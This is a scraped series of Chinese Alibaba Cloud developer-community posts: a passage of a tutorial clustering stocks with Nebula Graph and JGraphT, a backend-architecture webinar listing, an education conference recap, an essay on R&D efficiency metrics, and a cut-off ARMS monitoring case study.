    3 600004 白云机场 交通运输
    4 600006 东风汽车 汽车制造
    5 600007 中国国贸 开发区
    6 600008 首创股份 环保行业
    7 600009 上海机场 交通运输
    8 600010 包钢股份 钢铁行业

    股票关系(边集)

    边只有一个属性,即权重。边的权重代表边的源点和目标点所代表的两支股票所属上市公司业务上的的相似度——相似度的具体计算方法参考 [7,8]:取一段时间(2014 年 1 月 1 日 - 2020 年 1 月 1 日)内,个股的日收益率的时间序列相关性 $P_{ij}$ 再定义个股之间的距离为 (也即两点之间的边权重):

    $$l_{ij} = sqrt{2(1-P_{ij})}$$

    通过这样的处理,距离取值范围为 [0,2]。这意味着距离越远的个股,两个之间的收益率相关性越低

    表2: 边集示例

    边的源点 ID 边的目标点 ID 边的权重
    11 12 0.493257968
    22 83 0.517027513
    23 78 0.606206233
    2 12 0.653692415
    1 11 0.677631482
    1 27 0.695705171
    1 12 0.71124344
    2 11 0.73581915
    8 18 0.771556458
    12 27 0.785046446
    9 20 0.789606527
    11 27 0.796009627
    25 63 0.797218349
    25 72 0.799230001
    63 115 0.803534952

    这样的点集和边集构成一个图网络,可以将这个网络存储在图数据库 Nebula Graph 中。

    JGraphT

    JGraphT 是一个开放源代码的 Java 类库,它不仅为我们提供了各种高效且通用的图数据结构,还为解决最常见的图问题提供了许多有用的算法:

    • 支持有向边、无向边、权重边、非权重边等;
    • 支持简单图、多重图、伪图;
    • 提供了用于图遍历的专用迭代器(DFS,BFS)等;
    • 提供了大量常用的的图算法,如路径查找、同构检测、着色、公共祖先、游走、连通性、匹配、循环检测、分区、切割、流、中心性等算法;
    • 可以方便地导入 / 导出 GraphViz [9]。导出的 GraphViz 可被导入可视化工具 Gephi[10] 进行分析与展示;
    • 可以方便地使用其他绘图组件,如:JGraphX,mxGraph,Guava Graphs Generators 等工具绘制出图网络。

    下面,我们来实践一把,先在 JGraphT 中创建一个有向图:

    import org.jgrapht.*;
    import org.jgrapht.graph.*;
    import org.jgrapht.nio.*;
    import org.jgrapht.nio.dot.*;
    import org.jgrapht.traverse.*;
    
    import java.io.*;
    import java.net.*;
    import java.util.*;
    
    Graph<URI, DefaultEdge> g = new DefaultDirectedGraph<>(DefaultEdge.class);

    添加顶点:

    URI google = new URI("http://www.google.com");
    URI wikipedia = new URI("http://www.wikipedia.org");
    URI jgrapht = new URI("http://www.jgrapht.org");
    
    // add the vertices
    g.addVertex(google);
    g.addVertex(wikipedia);
    g.addVertex(jgrapht);

    添加边:

    // add edges to create linking structure
    g.addEdge(jgrapht, wikipedia);
    g.addEdge(google, jgrapht);
    g.addEdge(google, wikipedia);
    g.addEdge(wikipedia, google);

    图数据库 Nebula Graph Database

    JGraphT 通常使用本地文件作为数据源,这在静态网络研究的时候没什么问题,但如果图网络经常会发生变化——例如,股票数据每日都在变化——每次生成全新的静态文件再加载分析就有些麻烦,最好整个变化过程可以持久化地写入一个数据库中,并且可以实时地直接从数据库中加载子图或者全图做分析。本文选用 Nebula Graph 作为存储图数据的图数据库。

    Nebula Graph 的 Java 客户端 Nebula-Java [11] 提供了两种访问 Nebula Graph 方式:一种是通过图查询语言 nGQL [12] 与查询引擎层 [13] 交互,这通常适用于有复杂语义的子图访问类型; 另一种是通过 API 与底层的存储层(storaged)[14] 直接交互,用于获取全量的点和边。除了可以访问 Nebula Graph 本身外,Nebula-Java 还提供了与 Neo4j [15]、JanusGraph [16]、Spark [17] 等交互的示例

    在本文中,我们选择直接访问存储层(storaged)来获取全部的点和边。下面两个接口可以用来读取所有的点、边数据:

    // space 为待扫描的图空间名称,returnCols 为需要读取的点/边及其属性列,
    // returnCols 参数格式:{tag1Name: prop1, prop2, tag2Name: prop3, prop4, prop5}
    Iterator<ScanVertexResponse> scanVertex(
                String space, Map<String, List<String>> returnCols);
    Iterator<ScanEdgeResponse> scanEdge(
                String space, Map<String, List<String>> returnCols);

    第一步:初始化一个客户端,和一个 ScanVertexProcessor。ScanVertexProcessor 用来对读出来的顶点数据进行解码:

    MetaClientImpl metaClientImpl = new MetaClientImpl(metaHost, metaPort);
    metaClientImpl.connect();
    StorageClient storageClient = new StorageClientImpl(metaClientImpl);
    Processor processor = new ScanVertexProcessor(metaClientImpl);

    第二步:调用 scanVertex 接口,该接口会返回一个 scanVertexResponse 对象的迭代器:

    Iterator<ScanVertexResponse> iterator =
                    storageClient.scanVertex(spaceName, returnCols);

    第三步:不断读取该迭代器所指向的 scanVertexResponse 对象中的数据,直到读取完所有数据。读取出来的顶点数据先保存起来,后面会将其添加到到 JGraphT 的图结构中:

    while (iterator.hasNext()) {
      ScanVertexResponse response = iterator.next();
      if (response == null) {
        log.error("Error occurs while scan vertex");
        break;
      }
      
      Result result =  processor.process(spaceName, response);
      results.addAll(result.getRows(TAGNAME));
    }

    读取边数据的方法和上面的流程类似。

    在 JGraphT 中进行图分析

    第一步:在 JGraphT 中创建一个无向加权图 graph:

    Graph<String, MyEdge> graph = GraphTypeBuilder
                    .undirected()
        .weighted(true)
        .allowingMultipleEdges(true)
        .allowingSelfLoops(false)
        .vertexSupplier(SupplierUtil.createStringSupplier())
        .edgeSupplier(SupplierUtil.createSupplier(MyEdge.class))
        .buildGraph();

    第二步:将上一步从 Nebula Graph 图空间中读出来的点、边数据添加到 graph 中:

    for (VertexDomain vertex : vertexDomainList){
        graph.addVertex(vertex.getVid().toString());
        stockIdToName.put(vertex.getVid().toString(), vertex);
    }
    
    for (EdgeDomain edgeDomain : edgeDomainList){
        graph.addEdge(edgeDomain.getSrcid().toString(), edgeDomain.getDstid().toString());
        MyEdge newEdge = graph.getEdge(edgeDomain.getSrcid().toString(), edgeDomain.getDstid().toString());
        graph.setEdgeWeight(newEdge, edgeDomain.getWeight());
    }

    第三步:参考 [7,8] 中的分析法,对刚才的图 graph 使用 Prim 最小生成树算法(minimun-spanning-tree),并调用封装好的 drawGraph 接口画图:

    普里姆算法(Prim's algorithm),图论中的一种算法,可在加权连通图里搜索最小生成树。即,由此算法搜索到的边子集所构成的树中,不但包括了连通图里的所有顶点,且其所有边的权值之和亦为最小。

    SpanningTreeAlgorithm.SpanningTree pMST = new PrimMinimumSpanningTree(graph).getSpanningTree();
    
    Legend.drawGraph(pMST.getEdges(), filename, stockIdToName);

    第四步:drawGraph 方法封装了画图的布局等各项参数设置。这个方法将同一板块的股票渲染为同一颜色,将距离接近的股票排列聚集在一起

    public class Legend {
      
    ...
      
      public static void drawGraph(Set<MyEdge> edges, String filename, Map<String, VertexDomain> idVertexMap) throws IOException {
         // Creates graph with model
         mxGraph graph = new mxGraph();
         Object parent = graph.getDefaultParent();
    
         // set style
         graph.getModel().beginUpdate();
         mxStylesheet myStylesheet =  graph.getStylesheet();
         graph.setStylesheet(setMsStylesheet(myStylesheet));
    
         Map<String, Object> idMap = new HashMap<>();
         Map<String, String> industryColor = new HashMap<>();
    
         int colorIndex = 0;
    
         for (MyEdge edge : edges) {
           Object src, dst;
           if (!idMap.containsKey(edge.getSrc())) {
             VertexDomain srcNode = idVertexMap.get(edge.getSrc());
             String nodeColor;
             if (industryColor.containsKey(srcNode.getIndustry())){
               nodeColor = industryColor.get(srcNode.getIndustry());
             }else {
               nodeColor = COLOR_LIST[colorIndex++];
               industryColor.put(srcNode.getIndustry(), nodeColor);
             }
             src = graph.insertVertex(parent, null, srcNode.getName(), 0, 0, 105, 50, "fillColor=" + nodeColor);
             idMap.put(edge.getSrc(), src);
           } else {
             src = idMap.get(edge.getSrc());
           }
    
           if (!idMap.containsKey(edge.getDst())) {
             VertexDomain dstNode = idVertexMap.get(edge.getDst());
    
             String nodeColor;
             if (industryColor.containsKey(dstNode.getIndustry())){
               nodeColor = industryColor.get(dstNode.getIndustry());
             }else {
               nodeColor = COLOR_LIST[colorIndex++];
               industryColor.put(dstNode.getIndustry(), nodeColor);
             }
    
             dst = graph.insertVertex(parent, null, dstNode.getName(), 0, 0, 105, 50, "fillColor=" + nodeColor);
             idMap.put(edge.getDst(), dst);
           } else {
             dst = idMap.get(edge.getDst());
           }
           graph.insertEdge(parent, null, "", src, dst);
         }
    
    
         log.info("vertice " + idMap.size());
         log.info("colorsize " + industryColor.size());
    
         mxFastOrganicLayout layout = new mxFastOrganicLayout(graph);
         layout.setMaxIterations(2000);
         //layout.setMinDistanceLimit(10D);
         layout.execute(parent);
    
         graph.getModel().endUpdate();
    
         // Creates an image than can be saved using ImageIO
         BufferedImage image = createBufferedImage(graph, null, 1, Color.WHITE,
                                                   true, null);
    
         // For the sake of this example we display the image in a window
         // Save as JPEG
         File file = new File(filename);
         ImageIO.write(image, "JPEG", file);
    
       }
      
      ...
        
    }

    第五步:生成可视化:

    图1中每个顶点的颜色代表证监会对该股票所属上市公司归类的板块

    可以看到,实际业务近似度较高的股票已经聚拢成簇状(例如:高速板块、银行版本、机场航空板块),但也会有部分关联性不明显的个股被聚类在一起,具体原因需要单独进行个股研究。

    JGraphT

    图1: 基于 2015-01-01 至 2020-01-01 的股票数据计算出的聚集性

    第六步:基于不同时间窗口的一些其他动态探索

    上节中,结论主要基于 2015-01-01 到 2020-01-01 的个股聚集性。这一节我们还做了一些其他的尝试:以 2 年为一个时间滑动窗口,分析方法不变,定性探索聚集群是否随着时间变化会发生改变

    JGraphT

    图2:基于 2014-01-01 至 2016-01-01 的股票数据计算出的聚集性

    JGraphT

    图3:基于 2015-01-01 至 2017-01-01 的股票数据计算出的聚集性

    JGraphT

    图4:基于 2016-01-01 至 2018-01-01 的股票数据计算出的聚集性

    JGraphT

    图5:基于 2017-01-01 至 2019-01-01 的股票数据计算出的聚集性

    JGraphT

    图6:基于 2018-01-01 至 2020-01-01 的股票数据计算出的聚集性

    粗略分析看,随着时间窗口变化,有些板块(高速、银行、机场航空、房产、能源)的板块内部个股聚集性一直保持比较好——这意味着随着时间变化,这个版块内各种一直保持比较高的相关性;但有些板块(制造)的聚集性会持续变化——意味着相关性一直在发生变化。

    Disclaim

    Disclaim

    本文不构成任何投资建议,且作者不持有本文中任一股票。

    受限于停牌、熔断、涨跌停、送转、并购、主营业务变更等情况,数据处理可能有错误,未做一一检查。

    受时间所限,本文只选用了 160 个个股样本过去 6 年的数据,只采用了最小扩张树一种办法来做聚类分类。未来可以使用更大的数据集(例如美股、衍生品、数字货币),尝试更多种图机器学习的办法。

    本文代码可见[18]

    Reference

    [1] 用 NetworkX + Gephi + Nebula Graph 分析<权力的游戏>人物关系(上篇)https://nebula-graph.com.cn/posts/game-of-thrones-relationship-networkx-gephi-nebula-graph/

    [2] 用 NetworkX + Gephi + Nebula Graph 分析<权力的游戏>人物关系(下篇) https://nebula-graph.com.cn/posts/game-of-thrones-relationship-networkx-gephi-nebula-graph-part-two/

    [3] NetworkX: a Python package for the creation, manipulation, and study of the structure, dynamics, and functions of complex networks. https://networkx.github.io/

    [4] Nebula Graph: A powerfully distributed, scalable, lightning-fast graph database written in C++. https://nebula-graph.io/

    [5] JGraphT: a Java library of graph theory data structures and algorithms. https://jgrapht.org/

    [6] mxGraph: JavaScript diagramming library that enables interactive graph and charting applications. https://jgraph.github.io/mxgraph/

    [7] Bonanno, Giovanni & Lillo, Fabrizio & Mantegna, Rosario. (2000). High-frequency Cross-correlation in a Set of Stocks. arXiv.org, Quantitative Finance Papers. 1. 10.1080/713665554. 

    [8] Mantegna, R.N. Hierarchical structure in financial markets. Eur. Phys. J. B 11, 193–197 (1999).

    [9] https://graphviz.org/

    [10] https://gephi.org/

    [11] https://github.com/vesoft-inc/nebula-java

    [12] Nebula Graph Query Language (nGQL). https://docs.nebula-graph.io/manual-EN/1.overview/1.concepts/2.nGQL-overview/

    [13] Nebula Graph Query Engine. https://github.com/vesoft-inc/nebula-graph

    [14] Nebula-storage: A distributed consistent graph storage. https://github.com/vesoft-inc/nebula-storage

    [15] Neo4j. www.neo4j.com

    [16] JanusGraph. janusgraph.org

    [17] Apache Spark. spark.apache.org.

    [18] https://github.com/Judy1992/nebula_scan

    ]]>
    直播 | 阿里、携程、网易共同出品, 后端架构工程实践系列直播-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本次后端架构工程实践专场,由阿里技术、携程技术、网易技术共同出品。

    携程框架架构研发部负责携程后端框架和中间件的研发,包括异地多活、ServiceMesh、消息队列、配置中心等10多个产品,支撑携程的整体业务研发。

    阿里技术(阿里云开发者社区)提供分享、学习、认证、工具、资源、大赛、社群、MVP等一站式服务能力,满足开发者全生命周期成长需求。

    议题简介

    《携程DRC-MySQL数据双向复制实践》(戳我观看)

    直播时间:

    2020-09-21 19:00

    讲师介绍

    李明冬,携程软件技术专家, 围绕数据异地多活项目,负责DRC(数据实时双向或多向复制)项目设计与开发工作、 负责DAL(数据库访问中间件)项目设计和演进。

    内容简介

    DRC通过将部署在不同机房的MySQL数据进行双向复制,实现单机房保存全量数据,业务本地读写。单机房故障时,分钟级机房流量切换。本次演讲将深入剖析DRC内部设计和实现原理。你将了解到:
    1、DRC基本架构;
    2、DRC高可用设计方案;

    《携程第二代API网关设计与实践》(戳我观看)

    直播时间:

    2020-09-23 19:00

    讲师介绍

    俞炯,携程软件技术专家, 2016年加入携程,主要负责携程API网关的维护与研发,以及公共反爬相关基础设施建设。

    内容简介

    API网关是携程路由体系内的重要一环,在隔离&解耦网络环境、海外加速、单元化等场景内都承担着重要角色。网关同时也是公共业务需求的载体,包括安全认证、反爬、限流熔断、监控告警等。作为公共基础设施,保证自身稳定性,同时支撑业务发展是我们的首要目标。

    本次将着重分享内容包括:
    1、业务流量增长带来的性能问题;
    2、出海、上云、异地多活对架构的要求;
    3、多协议、多场景带来的治理问题;

    《Envoy 架构在网易轻舟的落地实践》(戳我观看)

    直播时间:

    2020-09-30 19:00

    讲师介绍

    王佰平,网易数帆轻舟事业部 工程师, 负责轻舟Envoy网关与轻舟Service Mesh数据面开发、功能增强、性能优化等工作。对于Envoy数据面开发、增强、落地具有较为丰富的经验。

    内容简介

    Envoy 是一款由 Lyft 开源的高性能数据和服务代理软件,CNCF 毕业项目。新兴 API 网关如 Gloo,Ambassador 都基于 Envoy 进行扩展开发;而在服务网格中,Istio、Kong 社区 Kuma、亚马逊 AMS App Mesh、微软 Open Service Mesh 都使用 Envoy 作为默认数据面。

    本次分享将详细介绍 Envoy 整体架构以及其功能特性,及经验总结:
    1、Envoy 是什么?
    2、Envoy 有什么?
    3、Envoy 能做什么?

    《云开发Serverless架构服务》(戳我观看)

    直播时间:

    2020-10-13 19:00

    讲师介绍

    杜欢(风驰),阿里云Serverless云开发平台负责人, 阿里巴巴前端委员会委员,致力于推动研发生态实现云端Serverless研发能力升级,实现云的开箱即用。 ​

    内容简介

    随着函数计算等 FaaS 云产品的不断完善,研发生态对 Serverless 的认知也日渐清晰,尝试也越来越多。在诸多实践中,许多人开始陷入一种迷思,FaaS 是不是只能用在一些 “计算任务” 场景?是不是只能在小程序这个场景才能用?K8S是不是很大规模的公司才能用?云原生,Serverless是不是只是说的好听,离我其实还很远呢?我们将为你揭示,一个真正人人可用的云时代研发模式已经到来!

    在此分享中,你会了解到阿里云Serverless云开发平台如何通过三套Serverless架构服务帮助应用落地到Serverless架构。包括:
    1、云原生时代的架构应该怎么做?
    2、Serverless架构有什么优势?
    3、应用如何落地?

    ]]>
    “云见教育 共享未来”阿里云让教育服务加速进步-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800     9月17日是2020年云栖大会拉开序幕的日子,今年的云栖大会以“数智未来·全速重构”为主题,进行了真正的“线上+线下”的深度尝试,除线上大会外,还在北京、上海、杭州、昆明、天津等城市开设了云栖大会阿里云MVP专场。其中,校宝在线独家承办“云见教育·共享未来”为主题的云栖大会的杭州分场,也是教育行业的专场。校宝在线作为中国深受欢迎的教育信息化综合服务提供商,一直以来以“推动教育服务加速进步”为使命,经过在教育SaaS领域的十年深耕,校宝在线已经帮助超90000个教育品牌实现信息化管理,帮助超过180000个校区实现“互联网+教育”的业务升级,服务教育从业者超100万。
        随着互联网技术的蓬勃发展,“互联网+教育”的转型升级已成为教育产业发展的重要议题,而云计算作为一门新兴技术正在改变各行各业的生产方式,其高可靠性、可扩展性和高度灵活性也正逐渐影响着教育行业的发展。2020年,教育行业正处于转型升级的关键时期,教育的形态焕新,秩序重组,如何借助互联网与云计算技术,实现教育行业的创新发展,成为本次云栖大会教育专场的重要议题。
    pt2020_09_21_13_45_42.jpg

        第一位嘉宾浙江大学教授、阿里巴巴-浙江大学前沿技术联合研究中心(AZFT)智能计算机系统实验室主任--陈文智,给大家分享了《教研云助力高效数字化转型》。陈教授展示了基于教研云的新一代教学平台,能够实现教学场景的全覆盖、AI优化教学质量、云化提升教学体验以及教学数据的多维分析,未来高校科研新模式将实现科研的数字化运营,打造科研协作空间,从而构建科研新生态。
        第二位嘉宾校宝在线CPO&创新事业部总经理--李杰,他是浙江大学管理学硕士、原阿里巴巴高级产品专家、原百度商业产品经理,这次给大家分享的主题是《透过疫情,看教培行业的DT未来》,现在IT时代正在逐步迈入DT时代,未来教育越来越多的基于数据驱动,因此教育行业也要顺势而为,拥抱DT,实现机构业务数据化、行业数据标准化、产业服务生态化的三步升级。
        第三位嘉宾阿里云智能解决方案架构师--胡中泉,作为十年阿里巴巴DBA,一直从事企业数字化转型数据库解决方案架构设计,这次带来的是《鱼熊兼得——云原生数据库技术解析》。云原生数据库存储计算分离,分别无限弹性,可具备HTAP特性,同时,云原生数据库关注弹性、性能和成本优化等上层需求,相比传统数据库,云原生数据库拥有更低的TCO、更好的性能与吞吐量,更便捷的使用体验更科学的使用方式。
        第四位嘉宾校宝在线架构师--李同刚,他是阿里云MVP、校宝在线共享技术部基建业务负责人,负责并参与了校宝云服务平台、DevOps平台、开放平台建设,这次分享了非常落地的《教育信息化平台DevOps实践》。DevOps 业务链路较长,因此我们要始终从业务问题出发,实现客户价值结合业务痛点,找到切入点,团队 Leader 要想好客户价值,聚焦、不要贪,“少则得,多则惑”,同时坚持大道至简,规范先行,从客户场景出发,方案做简单些,并且制定规范,做好期望管理。
    pt2020_09_21_14_01_58.jpg
        在四位精彩的嘉宾演讲之后,本次云栖大会教育专场还专门圆桌讨论了《云时代的教育SaaS平台技术演进之路》,校宝在线架构师肖伟宇、资深net开发工程师王斌与阿里云智能容量服务产品经理范捷惟、杭州互次方技术VP金立四位嘉宾在现场给大家带来了精彩有深入的交流探讨。
    pt2020_09_21_14_04_36.jpg

        每一位演讲嘉宾分享之后,现场的参会嘉宾也都提出了自己的疑惑和问题,现场交流气氛浓厚,大家对于新技术、新教育充满激情和能量。

    XO4A0510.JPG
    XO4A0503.JPG

    ]]>
    如何度量研发效能?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png
    没有可靠的度量就无法有效的改进,高度数字化的软件研发领域一直是进行各类效能度量尝试的创新重地。

    阿里云·云效服务的内部版本“Aone”承载着阿里集团数百个BU协同研发和持续交付的职责,笔者在数月前短暂的参与了该平台的效能透视镜板块建设,因而得以从平台的“上帝视角”重新审视效能度量这件事,随着项目开展,略微摸索了些门道。此文中观点源于这段时间里笔者在团队内以及与周边相关团队的讨论和个人思考,且作抛砖引玉之用。

    度量的分类

    度量的分类方式有很多,其中比较有意思的一种角度,是根据目标意图将度量划分为“针对人的度量”和“针对事的度量”。

    任何协作系统都离不开人的参与,加之可与绩效、考核等事情牵上关系,即使相关指标的分析往往伴随着争议,针对人的度量在企业里有时依然被视为一种“刚需”。譬如“代码量”、“代码质量”、“工作时长”等数据评判都是常见的依据指标。从产品实现而言,由于对结果可解释性要求高,这类度量的单因素指标居多,计算方案通常不会太复杂,宜采用小范围同维度横向比较,防止过度泛化。

    相比之下,针对事度量的范畴和方法更加灵活。既包括简单的数值指标,譬如产研中的发布频率、需求交付时长;也包括需要对比分析的多元指标,譬如需求在各阶段的停留时长、缺陷在各环境的漏测率等。在就事论事的基础上,为了更全面的理解事实的客观规律,还经常需要将一组数据向上聚合(譬如整个部门、整个项目的情况)或者跨领域关联(譬如业务领域需求关联到相关代码提交情况),从而获得更宽的观察视角。由于涉及的度量主体更多,有时为了确定哪个主体是主要的影响因素,还需要进行额外的归因判定。相较于以人为目标的度量,对事进行度量时,可以包含更多的经验和推理因素。

    对人或对事主要是针对度量目的而言,在实际运用时,两者采用的具体指标会有许多共同之处,并不能一概而论。根据管理学中的“平衡计分卡(The Balanced ScoreCard)”理论,度量活动要遵循“目标-度量-指标-行动”的规则,指标最终服务于目标的达成,好的度量产品不仅应当反映“发生了什么”,还应当能根据目标提供“该怎么做”的辅助建议。因此度量类产品的成败,不仅是对指标设计者的领域理解、抽象能力的挑战,而且对产品自身的业务目标清晰度也会提出很高的要求。

    效能的本质

    归根究底而言,效能的本质是对价值流动速度和质量的评价。

    “价值流”的概念伴随着精益思想的传播,被越来越多行业所接纳。不过很少有其他哪个行业能够像软件研发行业这样,能够让价值交付的各个环节几乎完全在线数字化,从而提供大量可分析的过程数据样本。

    所谓价值流动过程可以表示为,“价值原料”在可被度量的价值加工活动之间有序传递,不断叠加价值增量,最终形成可被消费的“价值产物”。下图将这一过程的度量抽象为一种非常简洁的表示结构,可称为效能度量的“元模型”。

    image.png

    度量中所用的各类“领域特征”则是由在此元模型之上的领域对象,以及基于这些对象的“领域指标”来定义的。

    譬如在研发领域,“价值原料”可以是一个业务方的需求,或是一个开发者突发奇想的创意。可被度量的活动包括需求拆解、任务指派、代码编写、测试、部署、验证、发布等等。每个活动本身都具有可被观测的属性,实体之间也具有可被量化的关系。这些实体、属性、关系就组成了特定领域的模型,下图展示了一种简化的研发度量领域模型(为了美观省略掉很多实体关系连接,仅作示意)。

    image.png

    有了领域模型,就可以基于规则制定指标。指标通常被描述为各种量化特征和实体属性的数值计算。有些指标是领域无关的,譬如端到端流通时长;有些指标是多个领域之间可以复用的,譬如许多行业都会有单位时间任务吞吐量、任务按时完成率这样的指标;有些指标是领域特有的,譬如研发领域的千行代码缺陷率等等。

    在指标之上,还需要有与具体运用场景相匹配的工具或平台来将度量结果转换为便于观察分析的表现形式。譬如各种图表、报表,以及事件通知。

    元模型和领域对象的分离,似乎能够形成一种足够抽象的通用度量产品,通过领域相关的指标规则、展示规则、通知告警规则,快速适配不同目标和场景,然而现实情况其实更复杂。一方面受制于计算能力,有些指标实际无法根据模型+规则实时计算出来,必须单独预先算好,以空间换时间。另一方面受限于价值增值过程的可观测性,并非所有行为的结果都能立即被简单量化(否则说服人们坚持锻炼身体就容易多了),即使在高度数字化的软件研发领域,依然存在数据质量和时效性问题,在使用数据时需要加以考虑。因此各种效能的场景虽然具有十分相似的流动特征,实际产品依然会不可避免的根据业务定制化,万能的度量工具或公式是不存在的。

    模型的存储

    对于度量模型的存储,图数据库可能是最好的选择,没有之一。

    相比结构化的SQL数据库和文档型的NoSQL数据库,图数据库属于比较小众的一种偏门奇术,主要用在知识图谱和基于关系的信息搜索领域。从基本特征而言,图数据库通常具备NoSQL的非结构化KV存储能力,允许同一类实体具有不同属性项的实例,这对于处理来自多种数据源或多个子类型的实体信息带来很大便利。同时,图数据库通常能像SQL数据库那样支持事务和多实体关联查询。不仅如此,图数据库对复杂关系的检索性能远高于SQL数据库,对于判断、循环查询的支持也比SQL存储过程更加优雅。

    然而这些基础能力上的差异,并非我推荐将图数据库用于效能度量的主要原因。

    好的技术选型应该能够充分适应潜在的业务需求变动,避免过早将技术实现耦合到局部的应用场景。在基于SQL表的开发模式里,“表结构设计”是在软件详细设计阶段里非常重要的一个环节,因为它不仅是对整体业务领域的建模,还关系着未来数据查询的效率和便利性。熟悉SQL表设计的同学应该知道,1对1、1对N、N对N关系,数据表的处理方法是完全不同的:N对N关系需要额外设计关联表,1对N关系通常是在后者的实体上设计外键,而1对1关系的外键设计就更有讲究了,要根据实际场景来决定该在哪个实体上放另一者的外键,然后在使用的时候顺着这个关联方向来查询。对于聚合的设计也是如此,需要事先在被聚合表上提前设计好用于聚合的外键,因此会有“事实表”、“维度表”的区分。数据的查询规则,在数据库表结构设定的时候就被确定下来了。

    对业务模式比较固定的场景而言,提前考虑好数据的使用方法并做针对性优化显得合情合理,然而效能度量业务并不属于此类。在度量领域里,关联、级联、聚合都是十分常见的指标计算操作,由于指标的作用在于发现潜藏于表面之下的问题,事先不应当提前规定只能从哪一类实体作为关联查询的起点,或者必须以哪些维度做聚合观察。

    就图数据库的存储模型来说,所有业务实体都是平等的,任何类型的关系都由实体间的关联来表示。这就像是在SQL表设计时,不论是1对1还是N对N关系,总是额外增加一张关联表,却无需顾虑多表JOIN带来的性能影响。这样一来,相当于将查询和聚合方式的决策推迟到实际使用的时候再做,从而有效解耦建模和查询时的相互制约,不再需要为优化查询而返工改表。

    此外,由于关联直接建立于实体之间,当删除实体的时候,实体间的关联也将自动断开。这就像有垃圾回收机制的Java语言不用自己管理内存指针一样。图数据库绝不会产生由于关系修改时的不对称清除而导致的数据不一致情况。

    那图数据库会不会有坑?肯定有。不过在我们目前有限的探索里,遇到比较大的麻烦主要来自它不够完善的周边工具配套、阿里云图数据库服务的某些配置限制,以及市场上稀缺具备相关技能的专业工程师。

    专家经验

    在研发效能领域,度量的终极目标是DevOps文化所提倡的识别和消除系统性瓶颈。

    通过各式各样的过程数据,经验丰富的项目经理和管理教练往往能够准确判断出项目的潜在问题和交付风险。

    在经济学领域有个十分有趣的“古德哈特定律”,即“当决策者试图以一个事物的客观测度指标作为指针来施行政策时,这一指标就再也不能有效测度事物了”。

    然而效能度量并不是玄学,价值生产活动中的风险应当是有章可循的。古德哈特式的此消彼长现象其实来源于经济领域的范围太过宽广,任何实用指标往往只能是局部度量的结果。效能透视镜产品的提出者嵩华老师曾经分享过一种识别研发项目系统性风险的思路,即有的放矢的关注四种典型的全局现象:

    • 流动阻滞
    • 返工
    • 落后的工程能力
    • 技术债务

    这几种现象不太容易在局部进行遮掩,且在一定条件下能够相互叠加,成为“烂项目”的标配。

    透过整个研发过程中的种种现象,找到反映这些全局性问题的蛛丝马迹,不仅能在一定程度上让“专家经验”产品化、标准化,也有助于将效能数据的使用方法从当前普遍的“事后复盘”式向以全局流动速率和质量作为关注点的“风险管控”式发展,从而在可靠性和时效性两个方面都得到提升。

    总结

    数据不会骗人,但数据的呈现和解读依然有很大的空间值得探索。现实事物复杂而多面,度量正是为描述和对比这些具象事实而采取的抽象和量化措施,从某种意义上来说,度量的结果一定是片面的,反映部分事实。没有银弹,也没有完美的效能度量。

    对于企业研发效能的提升,开发者工具、效能方法理论、效能度量指标都是缺一不可、环环相扣的几个重要板块,相信随着数据价值被越来越多的挖掘,我们终将实现更有效的反馈和更精确的赋能,让研发协作真正变得透明、简单、高效。

    最后

    分享十条前人总结的经验观点。

    • 任何指标一旦用于管控,就不再可靠(古德哈特定律)。
    • 测量的对象与人越近,越不可靠。
    • “凡可度量,皆可改造”是错的。
    • 变化趋势的价值高于指标绝对值。
    • 选择适当的而非“标准的”指标,若发现指标没用,果断舍弃。
    • 务必了解指标的获取成本,明确指标意图和针对的企业目标。
    • 设计“北极星指标”,指标数量越多,边际收益递减。
    • 不要将指标对所有人透明。
    • 让一线人员参与指标制定。
    • 如果可能,合理缩短度量周期。
    ]]>
    ARMS助力「掌游科技」系统重构-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 武汉掌游科技有限公司隶属于盛趣游戏(原盛大游戏)旗下,是一家经营手游发行、深度运营及综合买量的互联网游戏公司。自2014年成立至今,已成功运营超过1000款手游产品,拥有超过1亿游戏用户,活跃用户突破千万。

    系统重构后产生新的需求

    掌游科技有SaaS游戏发行运营平台,帮助游戏厂商通过大数据分析更好的运营游戏。随着业务量的不断上涨,之前单数据库的系统架构逐渐出现了性能瓶颈。

    为了能更好的支撑业务,掌游科技将单库按业务拆分为了四个数据库,整个系统也因为分库而进行了重构。但是重构后的系统经过测试发现有很多问题,几次上线后都出现了不稳定的情况,并且由于业务复杂,开发人员众多,很难快速、全面的发现系统Bug和性能约束点,所以急需通过APM工具来发现系统中存在的各个性能约束点。

    掌游科技期望APM工具能具备以下五点特性:

    • 快速无侵入的接入方式:期望最大限度的不改动系统代码,以无侵入、无感知的方式将监控系统接入现有系统;

    • 系统性能低损耗:接入的监控系统不对能宿主系统产生过高的性能损耗,期望不超过5%;

    • 可视化的配置操作方式:不期望繁琐的、通过命令形式的配置。期望可以通过Web控制台的方式方便的进行配置,比如采样率、SQL提取规则、业务监控配置等;

    • 全方位的应用监控能力:期望从应用层面、节点层面、接口层面、主机层面多维度监控系统。比如应用的整体健康度,接口的调用次数、响应时间、慢SQL分析、异常分析、JVM分析、内存快照分析、CPU/内存/IO分析等;

    • 支持PHP语言:客户主要使用PHP语言进行开发,希望监控系统可以全面支持PHP语言的各个组件和框架。比如CURL、PDO、Mysqli、Yar Client、GRPC Client、Predis Client、Memcache Extension等。

    解决方案

    阿里云自研的应用实时监控服务ARMS完美的契合了客户的诸多痛点,通过Agent的方式无侵入的、快速的接入客户系统,通过白屏化的方式进行设置,提供各种丰富完善的视图协助客户全方位监控系统,并且ARMS结合众多客户场景和专家经验,提供智能诊断功能。帮助客户快速、准确的发现和定位到了系统重构后的很多性能约束点和隐患,让客户有的放矢的对系统进行优化。

    1. 性能瓶颈和Bug一目了然:无论从CPU、内存、磁盘、网络、JVM GC、JVM堆内存、内存快照分析的主机层面还是从接口响应时间、请求数、错误数、异常分析、上下游接口、接口快照、调用链路、线程剖析的接口层面,亦或是慢SQL分析、数据库连接数、CPU/内存/磁盘使用率、网络流入/出流量监控的存储层面,以及NoSQL、MQ监控等。将系统360度无死角的监控起来,所有性能问题都无所遁形。

    2. 提前预知系统问题:ARMS提供了完善的预警通知功能,可以基于主机监控、JVM监控、异常接口调用、应用调用统计、数据库指标等多个指标类型下几十钟触发条件来灵活的设置预警规则。同时提供多样化的通知方式以满足不同客户的通知需求。

